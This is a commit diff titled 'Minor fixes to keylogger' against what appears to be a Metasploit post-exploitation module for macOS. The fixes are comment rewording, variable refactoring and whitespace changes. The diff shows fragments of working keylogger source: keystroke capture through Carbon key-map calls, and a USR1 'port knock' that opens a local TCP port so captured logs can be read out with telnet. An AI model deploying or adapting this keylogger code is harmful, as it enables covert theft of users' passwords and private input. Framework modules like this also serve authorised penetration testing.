Skip to content

Commit 017309d

Browse files
committed
Minor fixes to keylogger.
1 parent 1cdf77d commit 017309d

File tree

1 file changed

+12
-11
lines changed

1 file changed

+12
-11
lines changed

modules/post/osx/gather/keylogger.rb

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,10 @@ class Metasploit3 < Msf::Post
1212
include Msf::Post::File
1313
include Msf::Auxiliary::Report
1414

15-
# the port used for telnet IPC. It is only open after the
16-
# keylogger process is sent a USR1 signal
15+
# when we need to read from the keylogger,
16+
# we first "knock" the process by sending a USR1 signal.
17+
# the keylogger opens a local tcp port (22899 by default) momentarily
18+
# that we can connect to and read from (using cmd_exec(telnet ...)).
1719
attr_accessor :port
1820

1921
# the pid of the keylogger process
@@ -51,7 +53,7 @@ def initialize(info={})
5153
[ true, 'The time between transferring log chunks.', 10 ]
5254
),
5355
OptInt.new('LOGPORT',
54-
[ false, 'Local port opened for transferring logs', 22899 ]
56+
[ false, 'Local port opened for momentarily for log transfer', 22899 ]
5557
)
5658
]
5759
)
@@ -94,7 +96,7 @@ def run
9496
print_status "Waiting #{datastore['SYNCWAIT']} seconds."
9597
Rex.sleep(datastore['SYNCWAIT'])
9698
print_status "Sending USR1 signal to open TCP port..."
97-
cmd_exec("kill -USR1 #{@pid}")
99+
cmd_exec("kill -USR1 #{self.pid}")
98100
print_status "Dumping logs..."
99101
log = cmd_exec("telnet localhost #{self.port}")
100102
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
@@ -125,14 +127,13 @@ def kill_process(pid)
125127
end
126128

127129
def cleanup
130+
return if session.nil?
128131
return if not @cleaning_up.nil?
129132
@cleaning_up = true
130133

131-
return if session.nil?
132-
133-
if @pid.to_i > 0
134+
if self.pid.to_i > 0
134135
print_status("Cleaning up...")
135-
kill_process(@pid)
136+
kill_process(self.pid)
136137
end
137138
end
138139

@@ -190,9 +191,9 @@ def method_missing(meth, *args, &block)
190191
log = ''
191192
log_semaphore = Mutex.new
192193
Signal.trap("USR1") do # signal used for port knocking
193-
if not @server_listening
194+
if not @server_listening
194195
@server_listening = true
195-
Thread.new do
196+
Thread.new do
196197
require 'socket'
197198
server = TCPServer.new(options[:port])
198199
client = server.accept
@@ -252,7 +253,7 @@ module Carbon
252253
(0...128).each do |k|
253254
# pulled from apple's developer docs for Carbon#KeyMap/GetKeys
254255
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
255-
if not prev_down[k]
256+
if not prev_down[k]
256257
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
257258
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
258259
curr_ascii = curr_ascii >> 16 if curr_ascii < 1

0 commit comments

Comments
 (0)